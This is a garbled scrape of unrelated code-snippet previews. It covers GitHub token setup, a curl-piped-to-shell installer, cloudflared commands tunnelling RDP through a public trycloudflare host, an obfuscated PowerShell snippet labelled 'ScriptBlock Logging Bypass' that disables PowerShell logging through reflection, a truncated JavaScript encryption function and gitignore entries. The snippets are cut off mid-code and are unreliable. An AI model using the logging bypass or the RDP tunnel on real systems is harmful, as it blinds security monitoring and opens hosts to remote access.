- Get PAT (personal access token)
Personal Settings > Developer settings > Personal access tokens
- ghcr login test
| ## install uv on OS | |
| curl -LsSf https://astral.sh/uv/install.sh | sh | |
| ## create new project | |
| uv init myproj | |
| ## install packages | |
| uv add django requests "pandas>=2.3" | |
| ## remove package |
Personal Settings > Developer settings > Personal access tokens
Create API Key on Github
Edit to Read (I tested this with Edit)Zone ResourceClient IP Adress FilteringContinue to summaryCreate Token| # remote | |
| ./cloudflared --url tcp://127.0.0.1:3389 | |
| # local | |
| ./cloudflared access tcp --hostname uncertainty-saints-newark-martin.trycloudflare.com --url 127.0.0.1:3388 | |
| # rdp to 127.0.0.1:3388 |
| # ScriptBlock Logging Bypass | |
| # @cobbr_io | |
| $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
| If ($GroupPolicyField) { | |
| $GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
| If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
| } |
| // use (16 chars of) 'password' to encrypt 'plaintext' | |
| function encrypt(plaintext, password) { | |
| var v = new Array(2), k = new Array(4), s = "", i; | |
| plaintext = escape(plaintext); // use escape() so only have single-byte chars to encode | |
| // build key directly from 1st 16 chars of password | |
| for (var i=0; i<4; i++) k[i] = Str4ToLong(password.slice(i*4,(i+1)*4)); |
| # +----------------------------+ | |
| # | IDE files | | |
| # +----------------------------+ | |
| /.idea | |
| # +----------------------------+ | |
| # | Vagrant | | |
| # +----------------------------+ | |
| /.vagrant |